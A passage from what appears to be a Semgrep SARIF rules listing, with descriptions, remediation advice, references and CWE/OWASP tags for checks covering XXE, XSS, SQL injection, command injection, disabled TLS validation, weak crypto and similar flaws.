EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"help":{"markdown":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards)\n - [https://developer.apple.com/documentation/uikit/uipasteboard?language=swift](https://developer.apple.com/documentation/uikit/uipasteboard?language=swift)\n - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)\n","text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"helpUri":"https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","id":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","name":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","id":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","name":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","id":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","name":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"help":{"markdown":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param)\n - [https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm](https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm)\n","text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","id":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","name":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli)\n - [https://pg.uptrace.dev/](https://pg.uptrace.dev/)\n - [https://pkg.go.dev/github.com/go-pg/pg/v10](https://pkg.go.dev/github.com/go-pg/pg/v10)\n","text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli","id":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","name":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"help":{"markdown":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1)\n","text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1","id":"python.lang.compatibility.python37.python37-compatibility-os1","name":"python.lang.compatibility.python37.python37-compatibility-os1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"help":{"markdown":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system","id":"cpp.lang.security.system-command.dont-call-system.dont-call-system","name":"cpp.lang.security.system-command.dont-call-system.dont-call-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.dont-call-system.dont-call-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"help":{"markdown":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version)\n - [https://www.landh.tech/blog/20230811-sandwich-attack/](https://www.landh.tech/blog/20230811-sandwich-attack/)\n","text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version","id":"python.lang.security.insecure-uuid-version.insecure-uuid-version","name":"python.lang.security.insecure-uuid-version.insecure-uuid-version","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-uuid-version.insecure-uuid-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure RC4 stream cipher encryption algorithm was identified. RC4 is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","id":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","name":"swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-rc4.insecure-crypto-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","id":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","name":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Oracle update is not restricted in $F()"},"help":{"markdown":"Oracle update is not restricted in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control)\n - [https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0](https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0)\n","text":"Oracle update is not restricted in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","id":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","name":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"help":{"markdown":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in 